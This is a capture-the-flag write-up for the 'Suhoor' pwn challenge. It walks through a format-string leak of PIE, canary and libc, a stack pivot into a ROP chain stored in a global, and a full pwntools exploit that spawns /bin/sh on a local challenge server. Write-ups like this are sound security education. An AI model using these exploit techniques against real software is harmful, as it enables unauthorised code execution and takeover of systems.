Ramadan CTF 2026 - Suhoor
[ Suhoor ] Writeup
Category: Pwn (Stack Pivot + Format String Libc Leak + ROP)
Difficulty: Medium-Hard Author: 4n7h4r4x
Access all challenges here:
GitHub Repository
Tools Used
ghidra/gdbfor reverse engineeringropperfor finding gadgetspython3 (pwntools)for exploit scripting and fuzzing
Overview
This challenge has all the modern mitigations enabled: PIE, canary, NX. We’re going to need multiple leaks and a stack pivot to pull off a syscall-based execve("/bin/sh"). It comes with a custom libc.so.6 and ld-linux-x86-64.so.2.
This is a multi-stage exploit:
- Leak PIE base, canary, and libc base using format strings
- Write a ROP chain to a known global variable
- Stack pivot to that ROP chain
- Execute
execve("/bin/sh", NULL, NULL)via syscall
Patching the binary
I made sure to patch the binary correctly so it uses the libc from the same directory ( rpath is already set to ./ ) but in case sthg dosent work use patchelf command as follows and it’ll work fine :
Initial Recon
Running file and checksec:
Everything is on. No easy shortcuts here.
Reverse Engineering
The binary has a format string vulnerability in the first input and two more inputs afterward:
- First prompt (“traveler?”): our input is passed to
printf– format string vulnerability. - Second prompt: reads into a global variable at a known offset from PIE base.
- Third prompt: reads into a stack buffer with limited size (0x28 bytes buffer + canary + RBP + RIP).
The stack buffer is small, only giving us control over canary + RBP + RIP – not enough room for a full ROP chain. That’s why we need a stack pivot.
Step 1: Fuzzing for Useful Leaks
We use a fuzzing script to find which format string offsets leak useful values:
1
2
3
4
5
6
7
8
9
from pwn import *
for i in range(1, 50):
p = process("./suhoor")
pay = f"%{i}$p".encode()
p.sendline(pay)
p.recvuntil(b"traveler?\n")
print(f"Offset {i}: {p.recvline()}")
p.close()
After testing, we find:
| Offset | Value | Purpose |
|---|---|---|
%17$p | Code address | Leaks an address in main (offset 0x12fc from PIE base) |
%11$p | Canary | The stack canary value |
%35$p | __libc_start_main+128 | Used to compute libc base |
We can grab all three leaks in a single format string:
1
p.sendline(b"%17$p%11$p%35$p")
Tip: Combining multiple
%N$pin one string is efficient, but be careful parsing the output – all hex values are concatenated together.
Step 2: Computing Addresses
From the leaks:
1
2
3
aslr = leaked_main - 0x12fc # PIE base
libc_base = leaked_libc_start_main - 128 - libc.symbols["__libc_start_main"]
global_var = aslr + 0x4060 # known writable global variable
From the provided libc, we extract ROP gadgets:
1
2
3
4
5
6
7
leave = p64(libc_base + 0x4da83) # leave; ret
pop_rax = p64(libc_base + 0x45eb0)
pop_rdi = p64(libc_base + 0x2a3e5)
pop_rsi = p64(libc_base + 0x14a6df)
pop_rdx_r12 = p64(libc_base + 0x11f367)
binsh = p64(libc_base + 0x1d8678) # "/bin/sh" string in libc
syscall = p64(libc_base + 0x91316)
Step 3: The Stack Pivot
Here’s the trick. The stack buffer is too small for our ROP chain, but we can write to the global variable (second input). So:
- Write the ROP chain into the global variable (second input).
- Overwrite RBP to point to the global variable (third input).
- Use a
leave; retgadget as the return address.
How does leave; ret work?
1
2
leave = mov rsp, rbp; pop rbp
ret = pop rip
If RBP points to our global variable, leave sets RSP to that address, then pop rbp consumes the first 8 bytes (“FAKERBP!”). Now RSP points to our ROP chain, and ret starts executing it.
Step 4: The ROP Chain
Our ROP chain performs execve("/bin/sh", NULL, NULL):
1
2
3
4
5
pop rdi; ret -> "/bin/sh" (rdi = pointer to "/bin/sh")
pop rsi; ret -> 0 (rsi = NULL)
pop rdx; r12; ret -> 0, 0 (rdx = NULL)
pop rax; ret -> 0x3b (rax = 59 = execve syscall number)
syscall; ret
Tip: Syscall number 0x3b (59) is
execveon x86-64. You can find all syscall numbers at x64.syscall.sh.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.binary = elf = ELF("suhoor", checksec=False)
context.arch = "amd64"
libc = ELF("./libc.so.6")
#p = elf.process()
p = remote("localhost", 6080)
# Stage 1: Leak PIE, canary, libc
p.recvuntil(b"traveler?")
p.sendline(b"%17$p%11$p%35$p")
p.recvline()
leaks = p.recvline()[:-1]
leaks = leaks.split(b"0x")
leaks = [b"0x" + leaks[i] for i in range(1, 4)]
leaked_main = int(leaks[0], 16)
leaked_canary = int(leaks[1], 16)
leaked_libc_start_main = int(leaks[2], 16) - 128
aslr = leaked_main - 0x12fc
libc_base = leaked_libc_start_main - libc.symbols["__libc_start_main"]
global_var = aslr + 0x4060
# Libc gadgets
leave = p64(libc_base + 0x4da83)
pop_rax = p64(libc_base + 0x45eb0)
pop_rdi = p64(libc_base + 0x2a3e5)
pop_rsi = p64(libc_base + 0x14a6df)
pop_rdx_r12 = p64(libc_base + 0x11f367)
binsh = p64(libc_base + 0x1d8678)
syscall = p64(libc_base + 0x91316)
# Stage 2: Write ROP chain to global variable
rop_chain = b"FAKERBP!" # consumed by pop rbp in leave
rop_chain += pop_rdi + binsh
rop_chain += pop_rsi + p64(0)
rop_chain += pop_rdx_r12 + p64(0) + p64(0)
rop_chain += pop_rax + p64(0x3b)
rop_chain += syscall
p.recvuntil(b"> ")
p.send(rop_chain)
# Stage 3: Overflow stack buffer -> pivot to global variable
pay = b"A" * 0x28 + p64(leaked_canary) + p64(global_var) + leave
p.recvuntil(b"> ")
p.send(pay)
p.interactive()
Key Takeaways
- Format strings are powerful. A single format string vulnerability can leak PIE base, canary, and libc base all at once.
- Stack pivoting lets you execute large ROP chains even when the overflow is small. Write your chain somewhere writable, point RBP there, and use
leave; ret. leave; retis the quintessential stack pivot gadget:mov rsp, rbp; pop rbp; pop rip. Master this sequence.- Always fuzz format string offsets to find what’s on the stack. A helper script that iterates
%1$pthrough%50$psaves a lot of time.
Helpful Resources
Thanks for reading!





